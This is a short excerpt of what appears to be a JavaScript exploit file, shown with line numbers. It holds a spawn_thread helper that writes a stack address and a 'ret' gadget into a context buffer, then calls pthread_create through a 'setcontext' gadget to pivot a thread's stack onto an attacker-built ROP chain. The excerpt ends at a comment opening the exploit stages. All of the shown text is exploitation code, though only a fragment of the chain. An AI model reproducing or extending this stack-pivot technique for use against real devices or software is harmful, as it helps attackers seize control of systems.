(thread)
| 497 | } |
| 498 | |
| 499 | function spawn_thread(thread) { |
| 500 | const ctx = new Buffer(context_size); |
| 501 | const pthread = new Pointer(); |
| 502 | pthread.ctx = ctx; |
| 503 | // pivot the pthread's stack pointer to our stack |
| 504 | ctx.write64(0x38, thread.stack_addr); |
| 505 | ctx.write64(0x80, thread.get_gadget("ret")); |
| 506 | |
| 507 | call_nze("pthread_create", pthread.addr, 0, chain.get_gadget("setcontext"), ctx.addr); |
| 508 | |
| 509 | return pthread; |
| 510 | } |
| 511 | |
| 512 | // EXPLOIT STAGES IMPLEMENTATION |
| 513 |
no test coverage detected